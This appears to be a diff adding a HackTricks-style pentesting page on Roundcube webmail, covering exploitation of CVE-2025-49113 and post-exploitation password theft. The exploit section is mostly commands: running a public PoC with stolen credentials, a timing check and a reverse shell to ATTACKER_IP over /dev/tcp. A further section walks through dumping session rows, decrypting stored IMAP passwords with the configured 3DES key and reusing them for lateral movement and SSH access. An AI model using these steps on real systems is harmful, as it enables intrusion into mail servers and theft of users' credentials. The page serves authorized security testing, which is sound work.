|
| 1 | +# Roundcube |
| 2 | + |
| 3 | +{{#include ../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +## Overview |
| 6 | + |
| 7 | +Roundcube is a PHP webmail client commonly exposed on HTTP(S) vhosts (e.g., mail.example.tld). Useful fingerprints: |
| 8 | +- HTML source often leaks rcversion (e.g., window.rcmail && rcmail.env.rcversion) |
| 9 | +- Default app path in containers/VMs: /var/www/html/roundcube |
| 10 | +- Main config: config/config.inc.php |
| 11 | + |
| 12 | +## Authenticated RCE via PHP object deserialization (CVE-2025-49113) |
| 13 | + |
| 14 | +Affected versions (per vendor/NVD): |
| 15 | +- 1.6.x before 1.6.11 |
| 16 | +- 1.5.x before 1.5.10 |
| 17 | + |
| 18 | +Bug summary |
| 19 | +- The _from parameter in program/actions/settings/upload.php is not validated, enabling injection of attacker‑controlled data that Roundcube later unserializes, leading to gadget chain execution and remote code execution in the web context (post‑auth). |
| 20 | + |
| 21 | +Quick exploitation |
| 22 | +- Requirements: valid Roundcube credentials and a reachable UI URL (e.g., http://mail.target.tld) |
| 23 | +- Public PoC automates session handling, gadget crafting and upload flow |
| 24 | + |
| 25 | +```bash |
| 26 | +git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git |
| 27 | +php CVE-2025-49113.php http://mail.target.tld USER PASS CMD |
| 28 | + |
| 29 | +# examples |
| 30 | +php CVE-2025-49113.php http://mail.target.tld user 'pass' "id" |
| 31 | +# blind timing proof |
| 32 | +time php CVE-2025-49113.php http://mail.target.tld user 'pass' "sleep 5" |
| 33 | + |
| 34 | +# reverse shell |
| 35 | +nc -nvlp 443 |
| 36 | +php CVE-2025-49113.php http://mail.target.tld user 'pass' \ |
| 37 | + "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'" |
| 38 | +``` |
| 39 | + |
| 40 | +Notes |
| 41 | +- Output is often blind; use sleep N to validate RCE |
| 42 | +- Resulting shell typically runs as www-data; on containerised deployments expect /.dockerenv and 172.17.0.0/16 networking |
| 43 | + |
| 44 | +## Post‑exploitation: recover IMAP passwords from Roundcube sessions |
| 45 | + |
| 46 | +Roundcube stores the current user’s IMAP password in the session (database) encrypted with the server‑side 3DES key configured in config.inc.php. With filesystem or DB access on the Roundcube host you can recover plaintext passwords and pivot into other mailboxes/services (SSH reuse is common). |
| 47 | + |
| 48 | +1) Read DB DSN and 3DES key from config |
| 49 | + |
| 50 | +config/config.inc.php typically contains: |
| 51 | + |
| 52 | +```php |
| 53 | +$config['db_dsnw'] = 'mysql://roundcube:DB_PASS@localhost/roundcube'; |
| 54 | +$config['des_key'] = 'rcmail-!24ByteDESkey*Str'; // 24‑byte key (3DES) |
| 55 | +``` |
| 56 | + |
| 57 | +2) Connect to DB and dump sessions |
| 58 | + |
| 59 | +```bash |
| 60 | +mysql -u roundcube -p roundcube |
| 61 | +# or: mysql -u roundcube -pDB_PASS roundcube |
| 62 | + |
| 63 | +mysql> SELECT id, created, changed, vars FROM session\G |
| 64 | +``` |
| 65 | + |
| 66 | +The session.vars field is a Base64 blob produced by Roundcube’s encrypt(): Base64( IV || 3DES-CBC(plaintext) ). The first 8 bytes after Base64‑decoding are the IV. |
| 67 | + |
| 68 | +3) Locate the password field |
| 69 | + |
| 70 | +A quick way to spot the credential inside the decrypted structure is to first Base64‑decode the vars field and eyeball serialized entries: |
| 71 | + |
| 72 | +```bash |
| 73 | +echo 'BASE64_FROM_VARS' | base64 -d | tr ';' '\n' | grep -i password |
| 74 | +``` |
| 75 | + |
| 76 | +4) Decrypt using Roundcube’s helper |
| 77 | + |
| 78 | +Roundcube ships a CLI that uses the same rcmail->decrypt() logic and the configured des_key: |
| 79 | + |
| 80 | +```bash |
| 81 | +cd /var/www/html/roundcube |
| 82 | +./bin/decrypt.sh CIPHERTEXT_BASE64 |
| 83 | +# -> prints plaintext |
| 84 | +``` |
| 85 | + |
| 86 | +5) Manual 3DES-CBC decryption (optional) |
| 87 | + |
| 88 | +- Ciphertext format: Base64( IV(8B) || CT ) |
| 89 | +- Alg: 3DES-CBC, key length 24B, PKCS#7 padding |
| 90 | + |
| 91 | +```python |
| 92 | +from base64 import b64decode |
| 93 | +iv_ct = b64decode('hcVCSNXOYgUXvhArn1a1OHJtDck+CFME') |
| 94 | +iv, ct = iv_ct[:8], iv_ct[8:] |
| 95 | +print(iv.hex(), ct.hex()) |
| 96 | +# decrypt(ct) with key = $config['des_key'], IV = iv |
| 97 | +``` |
| 98 | + |
| 99 | +Common locations |
| 100 | +- DB table: session (users table maps login names to IDs) |
| 101 | +- Config path: /var/www/html/roundcube/config/config.inc.php |
| 102 | + |
| 103 | +Operational use |
| 104 | +- Older session rows often contain prior users’ IMAP passwords; decrypt multiple entries to laterally move into other mailboxes |
| 105 | +- Try recovered credentials against SSH or other services if credential reuse is suspected |
| 106 | + |
| 107 | +## References |
| 108 | + |
| 109 | +- [Roundcube security updates 1.6.11 and 1.5.10](https://roundcube.net/news/2025/06/01/security-updates-1.6.11-and-1.5.10) |
| 110 | +- [CVE-2025-49113 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2025-49113) |
| 111 | +- [FearsOff research notes on Roundcube deserialization/RCE](https://fearsoff.org/research/roundcube) |
| 112 | +- [hakaioffsec/CVE-2025-49113-exploit (PoC)](https://github.com/hakaioffsec/CVE-2025-49113-exploit) |
| 113 | +- [Roundcube bin/decrypt.sh helper](https://raw.githubusercontent.com/roundcube/roundcubemail/master/bin/decrypt.sh) |
| 114 | +- [HTB Outbound – 0xdf write‑up (Roundcube 1.6.10 → RCE → session decrypt pivot)](https://0xdf.gitlab.io/2025/11/15/htb-outbound.html) |
| 115 | + |
| 116 | +{{#include ../../banners/hacktricks-training.md}} |
0 commit comments